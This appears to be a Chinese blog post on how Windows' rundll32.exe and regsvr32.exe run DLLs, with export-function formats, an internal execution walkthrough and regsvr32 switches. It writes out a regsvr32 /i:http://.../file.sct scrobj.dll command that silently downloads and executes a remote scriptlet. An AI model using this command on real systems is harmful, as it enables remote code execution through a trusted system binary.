众所周知,DLL文件是不能独自运行的,需要被进程加载到其地址空间后才能执行。
那怎么运行一个DLL呢?
答案:可以借助Windows所提供的rundll32.exe或regsvr32.exe。

rundll32.exe

通过rundll32.exe可以直接调用DLL的导出函数来执行功能。
命令行:rundll32.exe DllName,FuncName [Arguments]
但被指定的导出函数有格式要求,导出函数的格式如下,函数参数列表中的pCommand就是通过[Arguments]传入的。

void WINAPI FuncName(HWND hWnd, HINSTANCE hInst, LPCWSTR pCommand, DWORD nCmdShow);

执行流程

其内部通过LoadLibraryEx来加载该DLL,然后通过GetProcAddress来获取导出函数地址并调用,当该导出函数返回时,rundll32会通过FreeLibrary卸载该DLL并通过ExitProcess退出进程。

看着是不是很简单,确实很简单,但涉及到了两个失败。

  1. LoadLibraryEx失败:
    GetLastError获得失败原因,然后MessageBox错误弹窗,最后ExitProcess退出进程。
  2. GetProcAddress失败:
    MessageBox错误弹窗,然后FreeLibrary卸载DLL,最后ExitProcess退出进程。

注意:MessageBox是有阻塞线程的作用的,关闭弹窗才能继续往下执行。

调试实例

rundll32.exe "C:\\testDll.dll",DllMain为例,看一下rundll32.exe的执行流程:

  1. 通过LoadLibraryEx加载该DLL,此时会调用DllMain,且第二参数是DLL_PROCESS_ATTACH
  2. 通过GetProcAddress获得指定的导出函数地址。
    获得DllMainW失败后,又获得了DllMainA的地址。
  3. 获得导出函数地址失败后,准备错误弹窗。
    首先通过LoadStringW获得资源ID为400的字符串("%s 出错\n丢失条目: %s");
    然后格式化弹窗字符串:

    然后通过LoadStringW获得资源ID为0x402的字符串(“RunDLL”);

    最后通过MessageBoxW弹窗。

    弹窗后,如果不关闭对话框,线程会一直阻塞。
  4. 点击确定后rundll32会通过FreeLibrary卸载该DLL。
  5. 最后rundll32通过ExitProcess结束自身进程。

regsvr32.exe

regsvr32.exe用于注册/卸载COM组件。

COM组件:Component Object Mode,是微软提出的一种软件开发技术。组件其实是一些小的二进制可执行程序,它们可以用于给应用程序、操作系统及其他组件提供服务。COM组件由 以DLL或EXE形式发布的可执行代码 组成。

组件DLL的导出函数列表通常会包含DllRegisterServerDllUnregisterServer

  • DllRegisterServer:注册组件,在注册表中登记该DLL;
  • DllUnregisterServer:卸载组件,在注册表中取消该DLL的登记。

先来看一下官方给出的用法(在cmd里输入regsvr32.exe即可)。

看着有点迷糊,挨个来解释一下:

  • 默认情况下:即regsvr32.exe xxx.dll,此时调用DllRegisterServer来注册该DLL。
  • /u:Unregister,即调用DllUnregisterServer来卸载该DLL。
  • /s:Silent,静默,即不显示任何消息框。
  • /n:No(我猜的),不调用DllRegisterServer或DllUnregisterServer,/n必须和/i一起用。
  • /i:command:有/u时,调用DllInstall(FALSE, [cmdline])来卸载该DLL;没有/u时,调用DllInstall(TRUE, [cmdline])来注册该DLL。

应用场景

可以用regsvr32.exe来运行Scriptlet脚本:regsvr32.exe /s /u /n /i:http://127.0.0.1/file.sct scrobj.dll

该命令会调用scrobj.dll的DllInstall(FALSE, "http://127.0.0.1/file.sct"),此时会去下载file.sct并执行;
而scrobj.dll也不会被登记到注册表中,因为指定了/u

附上scrobj.dll的导出函数列表:

rundll32.exe和regsvr32.exe相关推荐

  1. python37.dll可能与您正在运行_模块可能与您正在运行的Windows版本不兼容。检查该模块是否与regsvr32.exe的x86或x64...

    今天一个网友群里留言,他win8的系统,下载我们的软件无法正常运行,原来他的win8是64位的系统,而我们的软件是32位,而且这个软件还需要一个dll文件,没有注册就无法使用,参考下面的方法解决了 1 ...

  2. regsvr32.exe

    regsvr32.exe用于注册Windows操作系统的动态链接库和ActiveX控件. regsvr32.exe 文件建议修改权限,删除所有的用户只保存Administrators 和SYSTEM为 ...

  3. Regsvr32.exe 的用法

    Regsvr32.exe 的用法 RegSvr32.exe 具有以下命令行选项: Regsvr32 [/u] [/n] [/i[:cmdline]] dllname /u – 取消注册服务器 /i – ...

  4. regsvr32.exe进程注册dll文件

    regsvr32.exe用于注册Windows操作系统的动态链接库(dll)和ActiveX控件.这个程序对你系统的正常运行是非常重要的.   dll文件即动态链接库,是一个不可执行的二进制程序文件, ...

  5. WIN10 注册.dll regsvr32.exe错误 VC6添加插件

    VC6添加文件插件 1.将.dll复制到 C:\Program Files (x86)\Microsoft Visual Studio\Common\MSDev98\AddIns\FileTool.d ...

  6. regsvr32.exe使用详解

    regsvr32.exe使用详解 Regsvr 32命令是Windows中控件文件(如扩展名为DLL.OCX.CPL的文件)的注册和反注册工具. 命令格式 Regsvr32 [/s] [/n] [/i ...

  7. c:\Windows\system32\ regsvr32.exe Windows无法访问指定设备、路径或文件,你可能没有适当的权限访问该项目

    ***c:\Windows\system32\ regsvr32.exe Windows无法访问指定设备.路径或文件,你可能没有适当的权限访问该项目 *** 当我们遇到这种问题怎么,多半分析是由于忙于 ...

  8. 模块“CHUSBDLL.DLL.dll“可能与您正在运行的Windows版本不兼容。检查该模块是否与regsvr32.exe的x86或x64版本兼容 【已解决】

    1.点击链接下载CHUSBDLL.DLL 2.把CHUSBDLL.DLL拷贝到系统的system32文件夹下 3.开始->运行->regsvr32 CHUSBDLL.DLL 因为我的系统是 ...

  9. 使用Rundll32.exe和Rundll.exe

    福州 Pasic 常用Windows9x的朋友一定对Rundll32.exe和Rundll.exe这两个文件不 会陌生吧,不过,由于这两个程序的功能原先只限于在微软内部使用,因而真正 知道如何使用它们 ...

最新文章

  1. c++ 包络谱分析代码_基于特征分析谱估计算法(Capon, MUSIC, ESPRIT)的C++实现
  2. 每日一皮:测试的时候一切ok,真正上线的时候……
  3. 【动态规划】石子合并 (ssl 2863)
  4. htc one m7 linux驱动,HTC One M7官方RUU固件包(可救砖)
  5. vi编辑器的学习使用(二十)
  6. 关于Keil中,变量函数跨文件引用报错问题
  7. 软件技术方案_智慧工地整体解决方案核心系统有哪些?
  8. python循环引用例子_魔幻离现实仅一步之遥:细说Python的循环调用、循环引用和循环导入...
  9. vue项目多主题风格切换(适配暗黑模式)
  10. unity c# 触摸屏物体识别桌算法
  11. 微信小程序加入购物车动画
  12. uni-app 微信小程序 + 友盟统计 sdk
  13. 【电脑技巧】设置电脑永不休眠
  14. 学python能干嘛-学 Python 都用来干嘛的?
  15. 用ECharts生成统计图
  16. InfoGAN论文笔记+源码解析
  17. 东北大学应用数理统计第二章知识点总结——参数估计
  18. js vue 根据城市名称 按A-Z进行排序展示
  19. Wolverine:(金刚狼):实现自修复 bug,创作者竟是GPT-4!
  20. cocos2d带冷却的菜单按钮封装

热门文章

  1. 持续交付:价值主张​
  2. 解决win10系统桌面应用图标显示不出来的问题
  3. 使用wildfly部署项目
  4. c语言讲义pdf,C语言基本讲义.pdf
  5. 2019-04-25t16:19:49 转成正常的年月日
  6. 2022第七届少儿模特明星盛典全国总决赛 圆满落幕
  7. 2019暑期个人排位集训补题--思维题
  8. 【UE4从零开始 083】体积光照贴图
  9. Microelectronic学习章节总结(1)-- 计算机架构复习
  10. 乡村振兴涉农区域全景综合安防监控解决方案